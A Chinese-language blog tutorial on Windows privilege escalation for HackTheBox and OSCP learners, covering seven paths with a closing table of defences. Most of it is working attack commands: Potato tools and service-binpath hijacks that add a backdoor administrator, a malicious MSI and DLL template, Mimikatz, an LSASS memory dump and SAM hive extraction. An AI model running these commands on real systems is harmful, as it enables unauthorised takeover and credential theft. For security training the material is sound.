Skip to content

Windows 提权完全指南:从立足点到 SYSTEM 的 7 条路径

声明:本文内容仅用于授权渗透测试和安全研究学习,所有示例均基于 HackTheBox 等合法靶机平台。


引言:为什么提权是渗透测试中最关键的一步

拿到 shell,不等于拿下目标。

我打了几十台 Windows 靶机,每次从 www-data 或者普通用户的 shell 爬升到 SYSTEM 的那一刻,都会有一种说不出的爽感。但在这之前,往往是一段漫长的枚举、试错、再枚举的过程。

Windows 提权(Privilege Escalation)就是把一个受限账户的权限提升到管理员(Administrator)或系统(SYSTEM)级别的过程。在真实的红队场景里,往往拿到的初始立足点只是一个低权限的服务账户,提权才能真正控制系统、转储凭据、横向移动。

这篇文章把我踩过的坑、总结的经验和最实用的命令整合在一起,覆盖 Windows 提权的 7 条主要路径——从最容易被忽视的文件凭据,到最常见的 SeImpersonatePrivilege 提权,再到内核漏洞的最后手段。

适合读者:有初步渗透基础、想系统掌握 Windows 提权的安全从业者和 OSCP/HTB 备考者。


一、先搞清楚:Windows 的权限体系

在动手提权之前,必须先理解对手(Windows 安全模型)。

1.1 账户层级

SYSTEM(最高)

Administrator(管理员)

Standard User(标准用户)

Guest(来宾)

渗透视角:大多数情况下,我们拿到的初始 shell 是以下之一:

  • IIS/MSSQL 服务账户(低权限,但通常有 SeImpersonatePrivilege)
  • 应用程序用户(最受限)
  • 普通域用户(通过 Web 漏洞或凭据泄露获取)

目标是从上面任意一个提升到 SYSTEM(优先)或 Administrator

1.2 访问令牌(Access Token)

Windows 用 Access Token 来决定进程能做什么。Token 里包含:

  • 用户 SID(身份)
  • 组 SID(所属组)
  • 特权列表(Privileges) ← 提权最关键的地方

拿到 shell 后立刻执行的第一条命令:

cmd
whoami /priv

如果你看到 SeImpersonatePrivilegeSeAssignPrimaryTokenPrivilege 处于 Enabled 状态——恭喜,基本稳了(见路径 #4)。

1.3 完整性级别(MIC)

Windows Vista 之后,每个进程都有完整性级别:

  • Low:沙盒环境(IE 保护模式)
  • Medium:默认标准用户
  • High:管理员权限进程
  • System:核心系统进程

UAC 的本质就是把管理员账户的进程限制在 Medium,需要确认才升 High。绕过 UAC 就是让进程从 Medium 跳到 High,而不弹出确认窗口。


二、提权前必做:系统枚举

提权失败的最常见原因不是技术不行,是枚举没做到位。

手动枚举核心命令

cmd
# 1. 确认当前身份和特权
whoami
whoami /priv
whoami /groups

# 2. 系统版本(找缺失补丁)
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

# 3. 已安装补丁
wmic qfe get Caption,Description,HotFixID,InstalledOn

# 4. 运行中的服务
wmic service get name,pathname,startmode,startname | findstr /i "auto"
sc query

# 5. 计划任务
schtasks /query /fo LIST /v
Get-ScheduledTask | Where-Object {$_.TaskPath -notlike "\Microsoft*"}

# 6. 密码搜索
findstr /si password *.txt *.xml *.ini *.config
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

自动化工具(首选)

cmd
# WinPEAS(最全面,强烈推荐)
.\winPEASx64.exe

# PowerUp(PowerShell枚举)
. .\PowerUp.ps1
Invoke-AllChecks

# Seatbelt
.\Seatbelt.exe -group=all

我的习惯:先跑 WinPEAS,边看输出边手动验证高亮项。WinPEAS 的彩色输出中,红色高亮基本都值得深挖。


三、7 条主要提权路径

路径 1:文件中的凭据(最容易出现,最被低估)

我在 HTB Resolute 靶机上第一次靠这个拿到权限的。

Windows 环境下凭据可能藏在意想不到的地方:

cmd
# PowerShell 历史文件(高频出现!)
(Get-PSReadLineOption).HistorySavePath
# 默认路径:C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
gc (Get-PSReadLineOption).HistorySavePath

# 批量检查所有用户的历史
foreach($user in ((ls C:\users).fullname)){
    cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue
}

# 注册表中的 AutoLogon 密码
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

# Cmdkey 保存的凭据(可直接 runas /savecred 使用)
cmdkey /list

# IIS web.config
type C:\inetpub\wwwroot\web.config

# 无人值守安装文件(常有管理员密码)
dir /s /b unattend.xml sysprep.xml

实战经验:找到任何密码,立刻测试 SSH/RDP/WinRM/SMB——凭据重用的成功率远超你的预期。


路径 2:滥用特权(最高频——只要是服务账户就必检查)

这是我在 HTB 中遇到最多的路径。

检查特权的关键:

cmd
whoami /priv
特权含义利用方式
SeImpersonatePrivilege模拟客户端令牌Potato 系列
SeAssignPrimaryTokenPrivilege分配主令牌Potato 系列
SeBackupPrivilege备份文件系统读取任意文件(SAM/NTDS)
SeRestorePrivilege恢复文件系统写入任意文件
SeDebugPrivilege调试进程转储 LSASS 内存
SeTakeOwnershipPrivilege获取文件所有权控制系统文件

SeImpersonatePrivilege → GodPotato(最常见路径)

IIS、MSSQL 等服务账户几乎都有这个特权。

cmd
# 检测
whoami /priv | findstr "SeImpersonatePrivilege"

# GodPotato(推荐,Win 8-11 / Server 2012-2022 全覆盖)
.\GodPotato.exe -cmd "cmd /c whoami"
.\GodPotato.exe -cmd "cmd /c net user admin P@ssw0rd /add && net localgroup administrators admin /add"

# PrintSpoofer(Win 10 / Server 2019,速度更快)
.\PrintSpoofer.exe -i -c cmd

# JuicyPotato(Win 7-10 / Server 2008-2016 旧版)
.\JuicyPotato.exe -l 1337 -p cmd.exe -t * -c {F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}

路径 3:配置错误(服务/注册表/文件权限)

3.1 未引号服务路径(Unquoted Service Path)

cmd
# 检测含空格且未用引号的服务路径
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\"

原理:路径为 C:\Program Files\Vuln Service\service.exe,Windows 会先尝试执行 C:\Program.exeC:\Program Files\Vuln.exe 等。如果这些路径可写,就可以放入恶意程序。

3.2 弱服务权限

cmd
# 检测服务权限
.\accesschk.exe -uwcqv "Authenticated Users" * 2>nul
.\accesschk.exe -uwcqv %username% * 2>nul

# 利用:修改服务二进制路径
sc config "VulnService" binpath= "cmd /c net user admin P@ssw0rd /add"
sc stop "VulnService"
sc start "VulnService"

3.3 AlwaysInstallElevated

cmd
# 检测(两个都为 1 才存在漏洞)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# 利用
msfvenom -p windows/exec CMD='net user backdoor P@ssw0rd /add && net localgroup administrators backdoor /add' -f msi > evil.msi
msiexec /quiet /qn /i evil.msi

路径 4:计划任务(脚本可写)

cmd
# 查看非 Microsoft 的计划任务
schtasks /query /fo LIST /v | findstr /i "task name\|run as\|task to run"

# PowerShell
Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq "SYSTEM"} | Select-Object TaskName,TaskPath

# 检查脚本是否可写
Get-ScheduledTask | ForEach-Object {
    $path = $_.Actions.Execute
    if ($path) { Get-Acl $path -ErrorAction SilentlyContinue | Select-Object Path,AccessToString }
}

利用:找到 SYSTEM 权限运行且脚本文件可写的任务,替换脚本内容为反弹 shell 或添加用户命令。


路径 5:DLL 劫持

当服务以高权限启动,但从可写路径加载 DLL 时可利用。

cmd
# 用 Process Monitor 检测(过滤 NAME NOT FOUND + 路径可写)
# 或 PowerSploit
Find-PathDLLHijack
Find-ProcessDLLHijack

写恶意 DLL(C 语言模板):

c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        system("cmd /c net user admin P@ssw0rd /add && net localgroup administrators admin /add");
    }
    return TRUE;
}

路径 6:凭据转储(拿到 SYSTEM 后的下一步)

有了足够权限后,转储哈希是横向移动的前提:

cmd
# 方法1:Mimikatz(直接提取明文密码或哈希)
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "lsadump::sam" exit

# 方法2:注册表提取 SAM(离线破解)
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
reg save HKLM\SECURITY security.hive
# 攻击机:impacket-secretsdump -sam sam.hive -system system.hive -security security.hive LOCAL

# 方法3:无工具 LSASS 转储
tasklist | findstr lsass
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass_PID> lsass.dmp full

路径 7:内核漏洞(最后手段)

当以上路径都走不通,才考虑内核漏洞。

cmd
# 检测系统版本
systeminfo | findstr /B /C:"OS Version"

# 自动检测(推荐)
.\Watson.exe

高频 Windows 内核漏洞

漏洞CVE影响版本
EternalBlueMS17-010Win 7/Server 2008R2(无补丁)
MS16-032CVE-2016-099xWin 7-10/Server 2008-2012
PrintNightmareCVE-2021-1675Win 10/11/Server 2019/2022
HiveNightmareCVE-2021-36934Win 10 2004-21H1

四、完整提权决策树

拿到初始Shell

whoami /priv → 有 SeImpersonatePrivilege?
    YES → GodPotato / PrintSpoofer → SYSTEM
    NO ↓
文件凭据搜索 → 找到密码?
    YES → 凭据重用 / runas → 提权成功?
    NO ↓
WinPEAS 全扫描 → 看高亮部分

服务配置错误? → Unquoted Path / 弱服务权限 → 提权

计划任务脚本可写? → 替换脚本 → 提权

AlwaysInstallElevated? → MSI恶意安装包 → 提权

DLL劫持? → 放置恶意DLL → 提权

systeminfo → Watson → 内核漏洞 → 提权

五、蓝队视角:这些路径怎么防

攻击路径防御措施
文件凭据泄露禁用 PowerShell 历史明文保存;加密配置文件;审计注册表
SeImpersonatePrivilege 滥用最小权限原则;服务账户不给不必要特权
服务配置错误服务路径使用引号;检查 ACL;定期审计
AlwaysInstallElevatedGPO 禁用该设置
内核漏洞及时打补丁;WSUS 统一管理
凭据转储启用 Protected Users 组;Credential Guard;启用 Tamper Protection

六、工具清单

工具用途下载
WinPEAS全面枚举GitHub: peass-ng
GodPotatoSeImpersonate提权GitHub: BeichenDream
PrintSpooferSeImpersonate提权GitHub: itm4n
PowerUpPowerShell枚举PowerSploit
Watson补丁检测GitHub: rasta-mouse
Mimikatz凭据转储GitHub: gentilkiwi
accesschk.exe服务权限检测Sysinternals

关键收获

  1. SeImpersonatePrivilege 见一次赚一次:IIS/MSSQL 服务账户几乎必有,GodPotato 是通用解法。
  2. 枚举优先于技巧:WinPEAS 输出的高亮项,逐条验证,答案就在里面。
  3. 凭据重用成功率极高:找到任何密码,在所有可用服务上都试一遍。

参考资料

公众号

关注「极客零零七」

每周实战攻防干货 · HTB Writeup · 独家速查资料

  • 回复 提权 → Windows+Linux 提权速查 PDF
  • 回复 AD攻击 → AD 域渗透攻击手册
  • 回复 靶机 → HTB 靶机推荐清单
  • 回复 OSCP → OSCP 备考完整路线图
极客零零七 公众号二维码

扫码关注

⚠️ 内容仅供学习交流使用 | 本站访问量